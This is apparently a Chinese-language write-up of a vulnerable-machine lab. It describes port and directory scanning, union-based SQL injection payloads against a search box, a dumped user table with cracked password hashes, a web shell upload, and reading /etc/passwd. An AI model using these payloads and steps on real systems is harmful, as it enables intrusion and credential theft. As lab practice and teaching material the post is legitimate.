就简单写写思路,最近开始实习了,也没多少时间去写这种靶场的笔记了
获取靶机ip
arp-scan -l
获取靶机的ip 为 192.168.0.198
端口扫描
nmap -sV 192.168.0.198
开放了22 80端口
目录扫描
使用dirsearch扫描目录
1 2 3 4 5 6 7 8 9 10 11
| 39:05] 200 - 0B - /config.php [17:39:07] 200 - 100B - /index.php [17:39:07] 200 - 100B - /index.php/login/ [17:39:08] 200 - 1KB - /login.php [17:39:08] 302 - 0B - /logout.php -> login.php [17:39:10] 200 - 2KB - /register.php [17:39:10] 403 - 302B - /server-status/ [17:39:10] 403 - 301B - /server-status [17:39:11] 301 - 316B - /uploads -> http://192.168.0.198/uploads/ [17:39:11] 200 - 940B - /uploads/
|
访问下 /uploads
看到里面内容为上传
SQL注入
访问下80端口,是一个注册登录框
注册后登录 有一个搜索功能,测试了下发现有sql注入
a' or 1=1 #
这里--+
不可以,--
可以
使用order by 没有回显
直接使用union select 试下有几个字段
a' union select 1,2,3-- a
发现有三个字段
a%27+union+select+version%28%29%2Cdatabase%28%29%2C@@datadir--+a
分别得到 5.7.25-0ubuntu0.18.10.2
webapphacking
/var/lib/mysql/ SG
a' union SELECT table_name,2,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE();--
得到users
和 books
两个表
1 2 3 4 5 6 7 8 9 10 11 12
| Database: webapphacking Table: users [5 columns] +---------+----------------------+ | Column | Type | +---------+----------------------+ | user | varchar(30) | | address | varchar(50) | | id | smallint(5) unsigned | | name | varchar(30) | | pasword | varchar(70) | +---------+----------------------+
|
dump得到账户密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| superDatabase: webapphacking Table: users [7 entries] +----+--------------+------------+----------------+---------------------------------------------+ | id | name | user | address | pasword | +----+--------------+------------+----------------+---------------------------------------------+ | 1 | David | user1 | Newton Circles | 5d41402abc4b2a76b9719d911017c592 (hello) | | 2 | Beckham | user2 | Kensington | 6269c4f71a55b24bad0f0267d9be5508 (commando) | | 3 | anonymous | user3 | anonymous | 0f359740bd1cda994f8b55330c86d845 (p@ssw0rd) | | 10 | testismyname | test | testaddress | 05a671c66aefea124cc08b76ea6d30bb (testtest) | | 11 | superadmin | superadmin | superadmin | 2386acb2cf356944177746fc92523983 | | 12 | test1 | test1 | test1 | 05a671c66aefea124cc08b76ea6d30bb (testtest) | | 13 | testtest | testtest | testtest | 05a671c66aefea124cc08b76ea6d30bb (testtest) | +----+--------------+------------+----------------+---------------------------------------------+
|
但是这条superadmin的密码 sqlmap没有解出来
https://crackstation.net/ 可以进行破解 最终得到密码为
Uncrackable
(用国内的没解出来)
使用superadmin进行登录,登陆后发现有一个上传功能
Getshell
使用蚁剑直接生成shell.php上传就可以连接,这里没有做防护
得到www-data权限
cat /etc/passwd
后面发现主机上有两个用户 分别为hackme
和legacy
在legacy目录下存在一个可执行文件
运行后发现没反应,后续看了下最后是通过这个文件进行提权的,但是在这里却用不了,用不了就算了,这个靶机还是比较简单,就一个sql注入,最近一直在实习,也没什么时间,周末有时间的话就看看文章,复现下漏洞,打打靶场啥的,弟弟太菜了,努力呀!